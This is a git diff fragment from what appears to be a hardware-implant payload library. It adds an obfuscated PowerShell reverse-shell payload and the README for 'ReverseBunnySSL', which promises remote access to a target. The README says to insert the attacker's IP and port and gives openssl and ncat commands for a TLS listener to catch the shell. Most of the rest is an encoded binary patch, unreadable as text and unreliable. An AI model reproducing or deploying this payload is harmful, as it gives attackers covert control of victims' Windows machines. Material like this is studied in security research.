+}%*{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }2y6{2y6}-=2y6{2y6}@{2y6 +}%*{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }-=2y6{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6}#-/{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}-=2y6{2y6}@{2y6+ }%*{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})+{2y6}#-/{2y6}@{2y6 + }%*{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@'+'{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })+{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}%*{2y6}#-/{2y6}@{2y6+ })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})({2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + }-=2y6{2y6})+{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 '+' +};{2y6}-=2y6{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}~{2y6}@{2y6+}-=2y6{2y6}~{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }%*{2y6}#-/{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +}cX9cX9{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}2y6{2y6}@{2y6+ })+{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}2y6{2y6})+{2y6}@{2y6(}/+{2y6uDn;]uDn}~{2y6uDn + uDn}cX9cX9{2y6uDn [uDn}/+{2y6uDn+] }-=2y6{2y6[uDn )}{@ (2y6uDn + ] uDn}-=2y6{2y6uDn + uDn}%*{2y6uDn[uDn ) }{@ (2y6uDn = }/+{2y6; ) ] })+{2y6[uDn)} {@(2y6uDn +] }%*{2y6[uDn ?2y6uDn +]}-=2y6{2y6 [uDn) } {@(2y6uDn +] };{2y6[uDn ) }{@(2y6uDn + ]uDn})({2y6uDn+uDn}%*{2y6uDn[uDn) }{@ (2y6uDn +] uDn}-=2y6{2y6uDn+uDn}%*{2y6uDn [uDn) } {@ (2y6uDn(.uDnuDn=}/+{2y6; uDn]uDn + ] }%*{2y6[uDn ?2y6uDn + ]uDn};{2y6uDn +uDn}cX9cX9{2y6uDn [uDn )}{@ (2y6uDn+]uDn}pdP~#{2y6uDn +uDn}%*{2y6uDn[uDn)}{@(2y6uDn+]}~{2y6[uDn ) }{@ (2y6uDn+ uDn[uDn=}@{2y6; ) }%*{2y6 + }/+{2y6=}/+{2y6( = }pdP~#{2y6 ; ) }%*{2y6+}/+{2y6 = }/+{2y6(=}2y6{2y6 ; ) }%*{2y6 +}/+{2y6= }/+{2y6 ( =}~{2y6 ; ) }%*{2y6+}/+{2y6 = }/+{2y6( =})({2y6;) }%*{2y6+ }/+{2y6=}/+{2y6 (= }#-/{2y6; ) }%*{2y6+ }/+{2y6 =}/+{2y6( = }-=2y6{2y6;)}%*{2y6+}/+{2y6=}/+{2y6 ( = })+{2y6; ) }%*{2y6+}/+{2y6 = }/+{2y6 (= }cX9cX9{2y6 ; }/+{2y6++= }%*{2y6;}/+{2y6 = };{2y6 ; )(2y6+ = }/+{2y6'(" ,'.', 'riGhTToLefT') | FOrEach-obJeCT{$_.ValUE })) ) \ No newline at end of file diff --git a/payloads/library/remote_access/ReverseBunnySSL/README.md b/payloads/library/remote_access/ReverseBunnySSL/README.md new file mode 100644 index 00000000..63182453 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunnySSL/README.md @@ -0,0 +1,30 @@ +**Title: ReverseBunnySSL** + +
Author: 0iphor13
+OS: Windows
+Version: 1.2
+For input and inspiration - Thanks to: Cribbit, sebkinne
ReverseBunnySSL gets you remote access to your target in seconds.
+Unlike ReverseBunny, ReverseBunnySSL offers encrypted traffic via OpenSSL.
!Insert the IP of your attacking machine & PORT into the payload.txt!
+1. Create key.pem & cert.pem like so:
+ > openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
+ It will ask for information about the certificate - Insert whatever you want.
+
+2. For catching the shell you need to start a listener, which supports encrypted traffic.
+I recommend openssl itself or ncat - Example syntax for both:
+ > `openssl s_server -quiet -key key.pem -cert cert.pem -port [Port Number]`
+ > `ncat --listen -p [Port Number] --ssl --ssl-cert cert.pem --ssl-key key.pem`
i9pu z49M+Co_>un9=Ub@ODxLgL^S-Wt*)9F8Gpgh>H5q4wEhqb3(J*k*VrO=B|xzEPpl%k zn|@;)bv6?AT9=>Azx;@s6)hGVHlHPh%7)I5C1w?S#vZ_s8ceXRU&p!o~g4k5L?f#C-29fGyoc z-fY_!Y`$Lia`m(9%>5e~a)yQ`U<=}TCiz#h6-v~5C|8vKkCWKVEtlfRzngeANs4v% z%yBR$wQbt-)>y6$3XjOww3zC!3Ahbp?cD#Y)~U$`#A#+z&kSjv{u(rhtr Xj9AIotStt_dgj9iiR&NUQ&O&ogFsO(wM8Y z)D+$r<1}WgutkkfIfh_O9!Qof0p0}CGm5xwf`|*73~xo7c!jnJ@0KevtZmwkN%1=k z `)5W1SD6}$+32b9s0V4rX~V?I@Y=S;FrzaqC%R((a|#6WM>!sv%-f^Pv3J49 zl4_)dUq00!`Q}*-*Fw6m+LOn>Z4iG;<(c$le4jDVbC8p_5G~5OB&5d<)-o&$PvR{m z9(K1%DfsyMw$VlrOVwyL<;!N@2gscMk_MlSGWXxEma;(!k=uFHB+(n}4+Oqm-P-q> z!JRxxYr5F =qvJ+=adkH;FjKUqKDymQ&u&|f zy#b5 @JfVwrcZjD7bceBnwCu&qcHQL6j$vw_mA_Q#V R@8= dXFF i) `SpUVeCOl~ES1_q`J= zI0D@sF2#Q3Me5Ui0rd6KGt8^owFTJTCtI9;^nTO#-AAUemCyPM8+9V?$>?P$gF(~m zEgR(D|BN2zF3sWBb<>Ez)jo0TkUjqNnQr)^(7HSag+wEKwZHpVb!hBHSff(BRIZ!} z+p2>g@RP}kt>W*mX(hy`WN|a^#2->;`r2SUEWi&R_H~C)lCD2)E}9GXT@SVzTCodY zj`vqF{=Xub`6#nlR!hY#s+iFu!f`It_3R~^2f5vX0-0U|_?z-JjSVxq5jC2zYPsgy zAIiUDA1@i{>ShPcJwT ;p; zZdLC<91tT1b13gBP^J)f(O|Lp;vrI6MNb%41`F#ycdwMHvAFkuw~a}So>w>MDXo2d zvi>UIa<%#u#j3lEK*aA8;U6DHRR3P$%~S~+!1mYZXQ*5_FGd!TS9Dt$pDN!Z$daX7 zK&+O7=D=Zd4&~SRLgS-+@my#P^7qwy `BY zCrhA4-`=AeRnM$vV`d-5ce}rKSX*PwINg1RwO)!nrZ1G*n|S5sB}@uVLWjNE)tKX^ zmWsGqKpi?TcOV@N(n+vZ_ISoGkm&j5C+6+rhiP7E>bs=B_Ok!Z&tkUk>504(a%j%A zn>Qr-cVa$E$?Rr&`sI;UV}0wRuKVEA|5~wJ$yERbq&9fGut+{Xqz|~28*t@jaz({i zW?3`I6W 1 ZQydnXPy5vFwA(NpzMa9=H(p1a&YVlR`;;dm WYG1=gFBqO+cDw7{*x#j^|hFfPf^ ulp9_pCCb6Gk3qhsU+eDnPTMB*A|1S_M^vE=J4TG(E2E|P9wjP?VIY^ zFrLb+^=cgc`B|z&?QyvQ0L(RP?UG=*nW3}lwf(BL|5xrSv3KrS9d=kGW71HUu8YC9 zQtKfzcr95{ID?5+F?V{j1PqLfl42F^o1Oz~nEk`*6(F?DYzPe=1fAxo(pz|zb<%## z!xKw**{*g#k3IK={?4<`UnpoVMQHIz81ltbJ8Rj!K)-%aEG)xg;(lP;iVvIWg+E%W z1yUS00v~kH=8V`TBg2FTlvsVD TKGygxpv_;}Ix9h3o`+` 6%&bsRcX1(^XAOIuy- zOB r}XPfqSs>(6(_9n zSo_I&Cw#O6sj9>60(e*w594 z4YQbhL;VmS-8*zmsJCinAL<|j-3K;x7aOPhFlnq6_cBEroDqDDu)-4bZkMr$=99uM z#!DGBK{R_3z6 6YVsf1#ex0FGYrQ^$vGs-^8Y#I1qRFzK@z}DWLWzjiuU;Gvq+WsCutC z6MQ{Ha(|Xl4Ice!;ezq%zCzehO(pZTGx8r60>lW=8Jk)7ihs*|jEB?Cm?;pv`ycg? z-ORUtR92J4lg70gu^`FuqUxp0wP_A}`wh&9)_VD#OjLO1*tpYhwY4TrdUEO(fZqDq zV`;47^UmwhWuM2i0UwJl@FF#p +u=xI7ExvE}dg^`gIT+A|7y*ET&}hL*=jmvDj2XA 2av0EWQx{@o z==>tJu=qpc+>9S3%V+L{k5fbl@^NDCx&6|7p3v0E$q~`(%b+&HF#CU$Pi@NEPU 9GOgQ zs(I(Nbs{7pIiC}Mz@eGNK_T2&JvdSr)(#asBgxi@iqP45Gr#|wq+GTChQ?Ggws)x2 zjV5*BDiU%ShYum$FJ-MfZKQK5>}2MU2j;WD6Dx0F`BN*7J+TbB#AtuBn`~M)T9}>^ z7j;;Kj~sy*-8~-N0eDX3=jtT(+0D4K1!6Xn`-Q Z>T{#EK# zpC@AJ8izpZ+YFZ=#*CUH4j6C?_rk05&Q=?%lGBbRRRu6`VEFiR@Drwh#oQZF*|d3` z5AY82jxsLY*l!95amXP)8}D#iYc2{MNHaG*j3*_2`x!Fqe{r%=+vvS@H0ZtLL7;p% zg+69p5YaeXJE#roB_i8z`Z^CL1o^t)Aw=n{K)X`azZGea8ECRgj);V>3qu^!Pcz77 z)>Qr0Mp`ToZyUXCU{$Q_ozp1qDTAqG49)Hmof_MA-#gQ@X{J$^U}XuNDncA9dBh#o zr*2^9-rWUeC>ta(S*?<01<7%uZeb25MnTr2ZstQU@qd^qPo} ((U0&C1&6 zxVx~KEtuY2vP*JVd@+A-$VC%P`Miz&J qaaSh?w=}xmQ|Ls zz&8tfn3&kNk8(2?o-6tMTK&hNXqmfueb@Ve=mA dH%@t;^Oe-ZrWk``at1 z+Q!xp|LF_P=};x2bCh+L?ZriG7SYN`w(e>O3ZYh!65 B|7Vww-}0-e-Jr^u*uz`2i^N z@IzbzGZuBz!_RpNtp^XYP)SXo6nRbmWREJ;GX?a9yW3o2rPk*g!^h23LR1}G!g?2O z+vxf_WHLw2B?}%7ta?yq-?nvZUbL(@mY9(t#mUK8wC O8UE2t-}Np^tYwMk<1Q zTaIhLK(mN^MHhZX @-tU^X zUrI^qGHS{)q#hp01Xoj@9L|0A$(D_SMe4r7$(;CSuk!wgas?MEN93*C6qHkPQj=Dsn-Vv zGkxrYlE se} zmLTTiQ9n5FM^a*{%r#sCEYan^D(7K*d%B0Ce8mxbx_kz+{1XmB$$MIRwcp$IA5`;r zX1A}G5l}_nR7W_0d}1n0o+ikuR;6h9)-A2=zSwasht@Vw@7)H^dkU_hn=Uaj884zZ zYmMKu-H>*>X*b_gD5zdA^MVNh6qJ6+5f2F)H|I)Jx8LtwRb;);ol}+iDnx}+La88D zmNnX7dMjdCNsY-AJmgkzUDsItb faV3tn?`m*kQGsd6bLIhU; O+(O8oLidyF`5JJub8s z8Kw1_Xm0+=4hn8HXUR}gY 9rtyjD$Zera!kLxqlg4i)rEq&qs0AA zGJSdtpd!wmGH~OI=oew4!_%P*_)?+~vQ}t&W2~m2?cm2 L^uIvs#zK7O{8O%tuxdTn7jC;T@g;4#t1LjUI6!#w$D zHHLt6y9^n=^(DOo z!?kU_QaRoF^q^$S(ED@^VTFu>uSQ% x z7kjA(!>GCwdU}U6KJM$|vmw;ZrEsMG%O#0rxutPCqEL@V=ps%Y*x1)z1&?loW@@}* z%&NW(mgoka-7(f7kM67QZ`3VD1k5F?*M(H;TiC-7IW^Hx5`I#Z&Z!R9P}mA`>TOp| z7_bkf?9Pw$Rg}D9&X8@o>xTyf%Q5KoJm7|!niZsFO+$TivcNIcBy0NX9~ngII&6q_ zr^jW~5sfbY=+ar1vcu$l4fi)utyh{LpMxmN1pS6LONO>{?GH7r1hUO0av1Hwr_Roa z8KriA;1zac3MRZ&@ w7SOV_k=9?X_?$^0v#{EUg0JGs6KE48sZ{f${Z^f*nsJM?n==CwbgveZ)rR@?iP zXI$%K24J>?rJ2(Wz;C gc@ @nzw}nVYAs8teid6wj zgil77Xz`Z;wy5~>G&$>93p%jwH(hrk3>4qEdXHq7TB-lXc*qgv*E}@>U< 4WXZO+`j?kw)7OdZ`wdgSU%naoOlX zM(I+Lw_#{SCFlhC4uVfBqLc%&{b`3G=~{%Uhgu?e8rNHLKD65F`7n5_{=bQpOzwFL zz_c%6jUWhX!WFE~x3c!=AHZ`Aata;3$N08BcZYQNLZoK*aEnBMc?k;=8?I9)(b465 zkti*xw%wSkAqROQ#r_^^ZpB4l=7CyaTdm>yp~LL}_Rp4&_}MN-5sB< uKWy0<#v$b7(t73Bct THGAi38Rt+_qr%CJBViV(Zyv)0_@U7k*Y?2UZG7dku9D)y$ynah zBK_9A>_1MXR^NIv4iY;`T6jJrXDgYd$Nc6}ARG1DJeiBL#ctX{WW}17c&%mu_C}j+ zLPfV>DS}Jjgf_jT8^nk@rv=K4B&FZs2AL0u!q);qlR{JFYpv`68$%JKErw`F2dLX? zDsgVHr>4L&H-CjT1uiHb668I-7as|_VTgk#T8H9|bnbQ>ecR193CYSf`SVeB79y+` zj3v}Ogweivs*TN)CVpvW2lpCKp =$S_zk*Dv{LKL@y6_*Q32x zh~8wU)7FS^yd=Fa$y8C{p(2(4f>RWJz$a8r;xB6L?&1bTA(;tTua)cquoIs}FVZWC z%HNY}ybIcPdWk* B_SJChJN{@NMCZ#B6%iwLn2xv zBy)G8A%~eaR*}9ak#UK(;LTcJwR8sI$8&??Aj%41MKgfVGoI`UW)nN9p)&Dk3=GS0 z Y=?QF;Cjhn@ z(3D+Og3&SokOU7;;sHwpa(jS7xpc;gB7WZ`x8{uE$hpzy0#DcAjPb*C;f>)V6Dc!* z!l-7v<=}TFUgt?B1@qOb+MjcB3)tTbQl~zlMy!E1o>9D+31Gkr`Ma!jX*X}uBwk`1 z$5xkTzeJ!_U3x+`EutnqN|vu>{SvhHn6 J)92L81qbyvhSCaKNwZt|gn^$J9 zE5=#dzl}aLv5D5;Wpp+54h*Dv-UXq4MN=a76a`)#X`POn+~90P_q8?ft_EF*TUNMG zp#20awE-&jtM~ai)AR4Yk>B zf0Q+84{1Gw3fU2)I*$vsT6ul?#H3)qCX Flvt3=Yyx0(Q=pq1!92 9cc#2Q|%o8I@K=ii%@UcajD<+Pge;GvnNaTuLS2G$?dI zer>X}U}hgXV*X$wxHN3`xhaZ%vb~a1>$*Mv+^MtoVwEN7w9CnwJnbE9bJ#pX#Y4t- zg}(0oqXa0vazaI9MPHEkFe&kM4i5PF`J#2r|Eun;qoQitzF`^>0R zTPnh6Ng3jk(6|9l =|5~A2#7@&?I#$Ft71QoOyv! zRE&PazqK5XdSRO(7!kEpkKrqth0E7QkStW*Y>yCDI7whvSgazmM4UPaIg=~}I;|Xg z8^d*Mbx)JRZ!xlGjy0*KtD)}>7TnQy5m?WQF?VcVk{7veSkD@diZ>ipOC=d*)Tw>Z zJ5lve@y_0Aa>Q&8SD*dTk!&p8q9gz8xQUxn;)cPRx13^_l7d|!QJmZ85P>*<-*P-m zfoR40n(N)Y`ee68y(Le<;xtS7v;9@U%O*rRw^Q;E70q8O&x~Rjxoq4bNCS;twrZ`~ zEJ<_ot()c5`lKt_?(qG3Z<=Wdw_f;Z;X uVZpr0bbbLhtkH+{$8%<&2vhT@O zMK OE+YFfqluNXTy#Q4UlywbHx@sZDWmf3P>p%WlVeIm zSN@4c;MG-!f%nUkTYPBt&4$TBhjC*T*4zAD4D_n0US4XG71kRgy$2_IeG)NM6NCGn z0wNQwWg{wv>R+~ktoB?LYccDn4=!gTTOD|)`aEyq{aTeqrMkwh%n`W5Vcs!jPwl`} zaCj?KIXYdfD;jA#?l`YkhFdZdyxGSl2f+TuC^2`$t7l4XYq9n&umiRU2}T&}$*J#h zd+nB|0erRQVBHvfOy)42`NJ4v+t~5_eV}!%9rAW&z%RKcdRC~_E}q)fT9(Ix!>H3@ z3H)+iHl`WU5q2t#Q40#(gXa+@4w~!ad~ky9j-@uMED{F^0q5niX{k|Sr*iW0#4Yb0 z?Jf #g#-{O+ igoYQ!IQj^` zz89ms8~h12nZre|kvPX@S37;yB#j(Zfw{+JCtc^RobssmoYg<@b6&DO@L#M)NpR|W z9F^B+BR;R{cRXM6Z(G#RS UQ+-l6X*A`iG@&A^UZlkaGS{37)- !W9| z>rHW3miTbv_U$hAJe!7{`_+5F+VUwwgL>(|5w3Fj=%XWQz3|&bHHsC&5|L#m>k7hp zw@KxdXSZ5Z5EU0PsF{WdM%N$mu&-zvdYvLA5LWR5Z&uDWBThD}rLS6q8#Emu&slkr zVhzlEi^d{evR7`lwet*<+Hyq)X|oYEjccfdDSbJf4VqOT9rf2xDPE>^s;Biksr6k? z=1?EbrgQZ{<~s})D^7x0)MV`XmA`hvdp*?yD W{r7m?oE^?s}oZw8s8YLH}~r7Gpuie@kzmco`O$OEHk~R zwY9j99z4$sKH%Z@pxmU|Dk7Off<3!)BU07e0&f@H9n sx3bGTE%)*gPymYnNPL`clr9)3t|ohG9mc-Mf+m= zPfO4P)>)}C8P={2dtUb?CJrvKz34#>rHj`jI(ZTfTBj@rts(oZQzli{HwG->>LHg` zK6E)d?<^6UXlYrzpH!%fvT>ajN18Rn2RDQyO{7W)K{XsK@t0-w)BBt!Ep+D^GQ_C; z5Tp%xGku$HKAwliGJe4)PGXsM$wdc_;ub3^O`k{AsuXdgd&{94i-RuBN*AY|*wl6` zP;iW^+&oacGr<00uMKlySO*3>%$6#A*^q&BKQ~NWZ~e<0Q4!wO{mEQimDAK}f=R~I zx v6J4_en1<7Q8^u1o^7=|}m9Cw}w+QY!=;(yc zE1n_qR`BJ>oYExaNmLeYxr+>GMdJQ &l5aSKR_LeLS2<>P^?| zGvU#*6H BID1yii$4V`f2^GQ|PJ5BHpIx|ngwt>g5EeRS~6X)U~v z^TaNDLIX+WtLU-*Cf(JL3uFWbW(|exLoLC3!9s20&RNv=JGzE81CeJhir~Bo^|TEP znWL*_$`;=3U*HxuB$s7o(<_2ig;i@9oaxu@4;>hLv#uRGtPe`?>bqZ9srkAQiMyy& zl!j1OqxSL)N)k%hdtI43Zgb3{R+)WPciNCa!n{>T^{ldTn!4LNfe#0#S?yptceWZc z`_fh?*mGfv6NgD%6&30GMd92_mrK*{{dI7bZkOOD)13PXKloL^c|uFi({L~0{I#M^ zh05;rz_#(D{^MtQfs|?mri&pIUn$hHZ^b4h@x5?4)=Qk+Tr$Q~+_qWHT9zoX&>tjm zvsQ3c+aks({`zUF*8o%*`$(uGopOJ_(vLyx+_?r1dszIBk^_MIq4ej)YV2 y95AICl=K3Dg@5q1H}0j;Gu`?L~#f&fL^a!i8tlh!xv* z)~2X%J{qfexDwHUx 5beAL^h6VwnxKgfpUHNAzY72g>>it- z;K)d8a2Sh!M|ZMUbWtO^cLaLS$NwD;ZGEv}a@79*lEcz!c1_&aHxPT`aF|Lw1O w6v+@{}-I=qXYrMqb-|0t43WbII=~g5Yv(J}1$2%OED%rsf zg8^tAh4~7F7@oncDnp~;dBe<{oc0lD=_E-g@jjAx^XT3JDNCuJuL(W+{rk6$^}HZZ zt~DDx-pj*IbTzOcV3}bTCA+VQSwN{o `ek49}5 HK1yBk@yM=~7`u zo$}=4_^==Ton^cY;hLq(RdI7t)?l0AFjW9DOV9H4^6;p;aQ$A>2m!T4tywWjuRg 3g3f z=9BOYyFlZ4O+kVy00Rk6w^vtt7Q2U(oS|M9HXsHI;;(zHG^;TjP?SUU{(Q#3)()Ea zq;`9;96l2n=b5I} rQOib*2_UaU1{O@ztSS;dp_?Ef3oPsE{*n#%2{j&p=yPa8#e%z z--Qjo9Jg 3zd z)1!(0)VGk!SKedM8G8rY8zIn}n;~Mzs{M)d?CalVfj|M1JQ8(vm3v_W*R*q}?*Yg7 z_&9b3u(6dSxGj-165Wv?@k!NfUt-wB*|?u@`Pr*ish{bDo1sO+u0FIi_r_N44g!r9 z%W$xttzb7-uu74@yeA1SHc!vz28a&Si DOPWvacQfrBFGs%<`~=@HaJlipwE8?8`y5NP@AJK#QQmL z^T0Gzv__Y>+?K|79A>KVS?e_&HR#+}{3)W$^*tax+g>meQ3hCt)|tvesy~CXAoP`s z;*@xjKGgainlR)BGx0`cQT|N@D!iSY9X`7`91SYXfAG^zy88=Ku^{gXprCkv*wQZ+ zW*mY;$JG}{i!tL4qdxpP3g&ctLhXT6?49r5_Qnhkt7_1R{Dbsw7H9&Gzf_~4@!;fE z4K37-90t%0nxV#IW@40xB*X$0pd`S5?}@PDzc{hRgs5bZZD@2f`%w1T9G1hUz@DDN zF `=qoQQYW=?`SRd$)OHbn0W6v~jcFdp@@{j>4=uG1Qdw z?(Uv(bK2uS0w)h}f8|zyz#$CV$Poy`JL!zxFF@`ZCr9E~-$-OkXeiTa&ro2X3#zF7 zKR1v+IlU3O<^WW@{Ck&-Oid@-hRZ$`T}pw|zCocWj9b1jUrEyHFO_kPJzMYo&1dZJ za~Vy+DD*O#SO589Ic~Vh3*fbbgF--nq}IUHMh@f|%birYAnu>M3>!#q?F<&(WRjt` z|B` NYKIRe*v3<}-D%WftR|SYau75PA`( zb1Yp$DOT9F!N{uHPVkC5D0YzvXAoQTK_i_7f0>8PNcA$ 0{w+Ma}jHF%Oof(&{`!Bq3`(H3@s z*2X&z`Gl;U%GKO4M AR!_xMbt*TXj78-sr?B z_p`T!?8j!jAIy^#qCqVd^(1%9V+~R;6ejh|Y=7^d;wxP-{n9wwk#OG3W;1qwRoxp}&i7|9)}h-d|eLt69Z6gZs#L z|KbYJvywf4soc8baHt%M{HeibiM+0%B2fZBdj7uP7${I?wI{At3wkn#2JEei|K7)+ zg0(MNNHK|v>k*M(|BGBrK*J9|Ul)-#!R(iMpb@TxS&x$OQ8B1lPif3c0S&K2^xMy{ zeP;8?tROnN2IZ_uX2Z92_g O?r E!*4nLlDCCi*%Oww zoj;{{!&_Piuq%Tz0<^z#-~PMi6}?jJ?s~L&!pJHrIyv&uLmUD2m`vX^!tmbr#F>@0 z T?(3XCO4>G{m(PEbof>N%n35zflLP_l3DqR;O _^=u!6L)x9^M@%)`nGpKMG<~mw+<%a75vp9oe76i`N%P{#O?*k;IHuGD+7(JH_(p z&)g4jA>Hwr9M}!61uR9*`RXNh7_RY3)XX2b(K%o7_9KlbqUx=D;%U-#Hzx_KY@~C8 zGHw$qCkDl+XvB`a`3zer_-v*E3!f}NF3MR!%c;`#+SL!1MrUYbl;H{R#6W8-pgvNM zU;>KFXaBP;uhp8KQHQ~srd4q@JIlZIjR!@yI*eoV=PfK|fe2~`$?dn$N}}2g7^Enc z+Eec4*+}`Q5M88#sEK1=RGqyZU6^k^1(BrJk#R+WV2VuyBh(NrIi%~s#63ZsE%{{3 z+k6szz>38r8q)^zjNfQhKUFIFx;onz`u5~HlfAwDpRqmzYOws6W1ko+uY~?pF0BQN z@2+F1#9axR{I|Hk!Z>nEQ?0H>2?AzhK9U#ZG;KonXH&CPeZYDBU7BLX6n}f#9Z=DC zIB=DNm{*%kO}C>X!rdO%q3Ke}E4tDtHAAFov*N^^EhO^`!x(%E0c@@7fgsCsI8jd( zWy7YXbWmSmd_p#nB96;yFPC~Kwt5M}lJqozDu}!*$UP#CHLIAQ;r*BV`wF9-xQSn& zRZ$jV2_MXdRC-Cb1U_J)f$$ZFzUj&?kc<%Ryq;f4AzY?H^g+kTcgkbPxuna+UADFL z!k@V<&fUC;4=gLH8bn#T$MFs^-&_LeLTO*4UAc358py(hDhib70yoUZbR|11-=JkF zWX4f_jj<&)nmL_aXonQ!p!k`=?Kv<&ph^G5U1*{8UQSMCLI+Ezg96vO3e#gIwYqC{ zu1%Nx8E@RYd2@I7c2O->QQ{1Ghx59%MMJMt1IcK&WL}uHL+i3*;I^B)Y}7MR{?|IO z02MbZCWa$M*Q Q~maw0mHux)V9Zj*zI7}RF%U7Q3TF8n*ZAdX-W7? z17!taJxdm8KTxxZ5nVhqn@Le-;iHe1dgGXdbzIB;@R&HLVgA3%B&zBEQ6_!7`EQwI z@v?GZ=$+($*;i0^BzqugqY-iV(tWyWdUQOwrK9lU+y5kXF7p4E*vUcA+YR+pb`diw z+V^$Ri6S*+m27!Tlf3f&^bu%Pz-W2Bpse}LAXPr;I3PcOM@1Z?dX-COB`K=%^~f_f zM7c1O?I8R5wO>9|xZP)s8NBnKQY88>rBJRkOJVxU;EidX>;KRivBLn0lBE1KajS1! z`VCUp{dlv;G-Q+S3?BQ_xN~97ngzV}-vI!u;r))cP!66L_~=uMsF?-vL9FZLk^itg z$e#GSAdHVeaWaJK6ic7jSz11~QpnsED8_}72hxpWrGNx9paUY9OXU-H3w7?8<#-4z z8vaXfsdSJ|)h_lR0amD2<%~ytg2S$CNuQUef^rhVg02FD+;A6Ymq*Sk&EdU;R^@9x zmc{hvls~m)1{JhalDw9xpF~_x{)eT8wd22Ik(a-t1?JaHPVcB>DJ3(rJh||f0Rl9C zv$B7p1=jOBf49%DACqbm{G%-ag8cwZ?Egft*q{Ev>;-5+r4bE`W(DW#%3p!|`+0J< z$@l&RKJ`3;!Jv0&*+EAHo{%%%0-*xWOnQ<4n`Ivy$}jv6oZ$F|m>Bd185Nkc^ZzDd z061aaxJfoQKR*xrm$-#lCja#;Wagj$hZ&R`3z%${kdaj=HHUm8DRCliZf e(-w}g VP~mz0V>R1MVuxdU^R`e=e%{%pj=lGG$LJvi9+Zj>5l|fCwzX zw-4m>tTZ%q#=im2!?t13HRZOqFs~#L1EL}RGz(3?zy$!cF#U}TMLK$WUCKwOS64?W z+8Eq*V2A+~@-bU|jeiYd1t^zfgMX(;>>^b39KOnuPZno+Epx!~XKe?7wM3f$VFEb+ z!UUj^6&3yi=Yn3xPN-8LC^WKsBkab`<~I{)uXYKl)UDm<= 65i$y^RJRPf^YOnO*AI9hOC(V}cQ)RabLz4MRj;=q26L1LjwFyiK*VO+CUU zR?spy!M@eJ@IA*Lc%_pi%?byjTdSVswHsS^)@)RLG%9NRU5>YlLCiHKNvx*!YL1+U zh=_~3{L!IG?42DoP!V%I!?-Kj0c3twgJvKcOrrO+gI!n8+c3OtcY@9V9aPyFCUfA( 